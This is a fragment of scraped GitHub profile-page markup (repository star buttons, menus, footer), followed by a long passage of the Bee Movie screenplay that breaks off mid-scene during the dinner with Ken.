value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{&quot;event_type&quot;:&quot;repository.click&quot;,&quot;payload&quot;:{&quot;target&quot;:&quot;UNSTAR_BUTTON&quot;,&quot;repository_id&quot;:501093064,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;,&quot;user_id&quot;:107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{&quot;event_type&quot;:&quot;repository.click&quot;,&quot;payload&quot;:{&quot;target&quot;:&quot;STAR_BUTTON&quot;,&quot;repository_id&quot;:501093064,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;,&quot;user_id&quot;:107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&amp;type=sparkline&amp;w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 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Bee Movie script for educational purposes only, anyways According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Coming! Hang on a second. Hello? Barry? Adam? Can you believe this is happening? I can't. I'll pick you up. Looking sharp. Use the stairs, Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. You got lint on your fuzz. Ow! That's me! Wave to us! We'll be in row 118,000. Bye! Barry, I told you, stop flying in the house! Hey, Adam. Hey, Barry. Is that fuzz gel? A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around The Hive. You did come back different. Hi, Barry. Artie, growing a mustache? Looks good. Hear about Frankie? Yeah. You going to the funeral? No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp under the circumstances. Well, Adam, today we are men. We are! Bee-men. Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive City graduating class of 9:15. That concludes our ceremonies And begins your career at Honex Industries! Will we pick our job today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. Wonder what it'll be like? A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to The Hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! That girl was hot. She's my cousin! She is? Yes, we're all cousins. Right. You're right. At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. What do you think he makes? Not enough. Here we have our latest advancement, the Krelman. What does that do? Catches that little strand of honey that hangs after you pour it. Saves us millions. Can anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Check it out. Hey, those are Pollen Jocks! Wow. I've never seen them this close. They know what it's like outside The Hive. Yeah, but some don't come back. Hey, Jocks! Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! I wonder where they were. I don't know. Their day's not planned. Outside The Hive, flying who knows where, doing who knows what. You can't just decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. Couple of Hive Harrys. Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! Oh, my! I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. Six miles, huh? Barry! A puddle jump for us, but maybe you're not up for it. Maybe I am. You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? Well, there's a lot of choices. But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! Barry, you are so funny sometimes. I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! You're gonna be a stirrer? No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. We're starting work today! Today's the day. Come on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... Is it still available? Hang on. Two left! One of them's yours! Congratulations! Step to the side. What'd you get? Picking crud out. Stellar! Wow! Couple of newbies? Yes, sir! Our first day! We are ready! Make your choice. You want to go first? No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. Any chance of getting the Krelman? Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? I'm going out. Out? Out where? Out there. Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. Look at that. Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. Thank you. OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! That's awful. And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. Antennae, check. Nectar pack, check. Wings, check. Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader, We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! Ever see pollination up close? No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Cool. I'm picking up a lot of bright yellow, Could be daisies, Don't we need those? Copy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Chemical-y. Careful, guys. It's a little grabby. My sweet lord of bees! Candy-brain, get off there! Problem! Guys! This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Coming in at you like a missile! Help me! I don't think these are flowers. Should we tell him? I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! Do something! I'm driving! Hi, bee. He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Can't fly in rain. Can't fly in rain. Can't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Check out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him.It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. Vanessa, next week? Yogurt night? Sure, Ken. You know, whatever. You could put carob chips on there. Bye. Supposed to be less calories. Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Come on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. You're talking. Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. I'm talking with a bee. Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. Wait! How did you learn to do that? What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. That's very funny. Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Can I... get you something? Like what? I don't know. I mean... I don't know. Coffee? I don't want to put you out. It's no trouble. It takes two minutes. It's just coffee. I hate to impose. Don't be ridiculous! Actually, I would love a cup. Hey, you want rum cake? I shouldn't. Have some. No, I can't. Come on! I'm trying to lose a couple micrograms. Where? These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for The Hive, but I can't do it the way they want. I know how you feel. You do? Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. Really? My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. Why do girls put rings on their toes? Why not? It's like putting a hat on your knee. Maybe I'll try that. You all right, ma'am? Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Can I take a piece of this with me? Sure! Here, have a crumb. Thanks! Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. Sounds amazing. It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. Do they try and kill you, like on TV? Some of them. But some of them don't. How'd you get back? Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. Well... Well? Well, I met someone. You did? Was she Bee-ish? A wasp?! Your parents will kill you! No, no, no, not a wasp. Spider? I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. Her name's Vanessa. Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside The Hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? They call it a crumb. It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! You know what a Cinnabon is? No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! We're still here. I told you not to yell at him. He doesn't respond to yelling! Then why yell at me? Because you don't listen! I'm not listening to this. Sorry, I've gotta go. Where are you going? I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. What is wrong with you?! It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. I lost a cousin to Italian Vogue. I'll bet. What in the name of Mighty Hercules is this? How did this get here? cute Bee, Golden Blossom, Ray Liotta Private Select? Is he that actor? I never heard of him. Why is this here? For people. We eat it. You don't have enough food of your own? Well, yes. How do you get it? Bees make it. I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! It's organic. It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools,hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. You almost done? Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Crazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. And you? He really is dead. All right. Uh-oh! What is that?! Oh, no! A wiper! Triple blade! Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Carl Kasell. But don't kill no more bugs! Bee! Moose blood guy!! You hear something? Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. Bees hang tight. We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. What if you get in trouble? You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! Hey, guys! Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. Check out the new smoker. Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. What? Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. You wish you could. Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! That would hurt. No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, The Hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Chung. Good evening. I'm Bob Bumble. And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, classy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from The Hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. Is that that same bee? Yes, it is! I'm helping him sue the human race. Hello. Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. Frosting... How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. Oh, those just get me psychotic! Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. This lawsuit's a pretty big deal. I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. What's the matter? I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Case number 4475, Superior Court of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Cloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Call your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? No. I couldn't hear you. No. No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. Where have I heard it before? I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! Order in this court! You're all thinking it! Order! Order, I say! Say it! Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. Ken! Hello. I didn't think you were coming. No, I was just late I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the right job. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little Mind Games. What's that? Italian 